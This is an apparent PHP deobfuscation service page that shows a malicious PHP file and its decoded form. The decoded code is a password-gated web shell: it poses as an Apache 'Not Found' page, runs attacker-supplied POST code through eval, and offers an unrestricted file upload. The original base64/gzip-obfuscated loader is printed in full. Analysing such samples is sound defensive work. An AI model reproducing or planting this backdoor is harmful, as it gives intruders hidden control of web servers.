Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $J930031B7214E1A8BE6AAA37CC6C1C619="eJydVkuXqkYQ/kGzSAOaOyyyEBSGVlGQZ++kUV4NcuID4de..

Decoded Output download

session_start();
@ini_set('display_errors', 0);
@date_default_timezone_set('UTC');
@ini_set('display_errors',0);
@ini_set('log_errors',0);
@error_reporting(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@set_magic_quotes_runtime(0);
@ini_set("magic_quotes_runtime", 0);
if(!isset($_SESSION['mrcu']))
{
	if(isset($_POST['paas']) && md5($_POST['paas']) == '0b6bbd78af18d4fbb89d8be0b34979e7') $_SESSION['mrcu'] = md5($_SERVER['HTTP_HOST']);
	elseif(isset($_COOKIE['mrcu']) && md5($_COOKIE['mrcu']) == '0b6bbd78af18d4fbb89d8be0b34979e7')
	{
		eval(rawurldecode(strrev($_POST['deco'])));
		die();
	}
    else die('<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at '.$_SERVER['HTTP_HOST'].' Port 80</address>
<center><form method="post"><input type="password" name="paas" style="margin:0;background-color:#fff;border:1px solid #fff;"></form></center>');
}

$myUpload = new maxUpload();  
$myUpload->setUploadLocation(__DIR__.DIRECTORY_SEPARATOR); 
$myUpload->uploadFile(); 
class maxUpload{ 
    var $uploadLocation; 

    function setUploadLocation($dir)
	{ 
        $this->uploadLocation = $dir; 
    } 
     
    function showUploadForm($msg='',$error='')
	{
		if($msg != '') echo '<p>'.$msg.'</p>'; 
		elseif($error != '') echo '<p>'.$error.'</p>'; 
?> 
<form action="" method="post" enctype="multipart/form-data" > 
<input name="myfile" type="file" size="30"><input type="submit" name="submitBtn" class="sbtn" value="->">
</form>
<?php
    }

    function uploadFile()
	{ 
        if(!isset($_POST['submitBtn'])) $this->showUploadForm(); 
        else
		{
            $msg = '';
            $error = '';
            if(!file_exists($this->uploadLocation)) $error = 'Directory doesn\'t exists!'; 
			elseif(!is_writeable($this->uploadLocation)) $error = 'Directory is not writeable!'; 
            else
			{
                $target_path = $this->uploadLocation.basename($_FILES['myfile']['name']); 
                if(@move_uploaded_file($_FILES['myfile']['tmp_name'], $target_path)) $msg = '<a href="'.dirname($_SERVER['PHP_SELF']).'/'.basename($_FILES['myfile']['name']).'">http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['PHP_SELF']).'/'.basename($_FILES['myfile']['name']).'</a>'; 
				else $error = 'The upload process failed!';
            }
            $this->showUploadForm($msg,$error); 
        }
    }
}

Did this file decode correctly?

Original Code

<?php
$J930031B7214E1A8BE6AAA37CC6C1C619="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";
eval(base64_decode(gzuncompress(base64_decode($J930031B7214E1A8BE6AAA37CC6C1C619))));
?>

Function Calls

gzuncompress 1
base64_decode 2

Variables

$J930031B7214E1A8BE6AAA37CC6C1C619 eJydVkuXqkYQ/kGzSAOaOyyyEBSGVlGQZ++kUV4NcuID4denupWJk7nJSbLg..

Stats

MD5 077e62ee75940f8e40a1c4f128d6234f
Eval Count 1
Decode Time 82 ms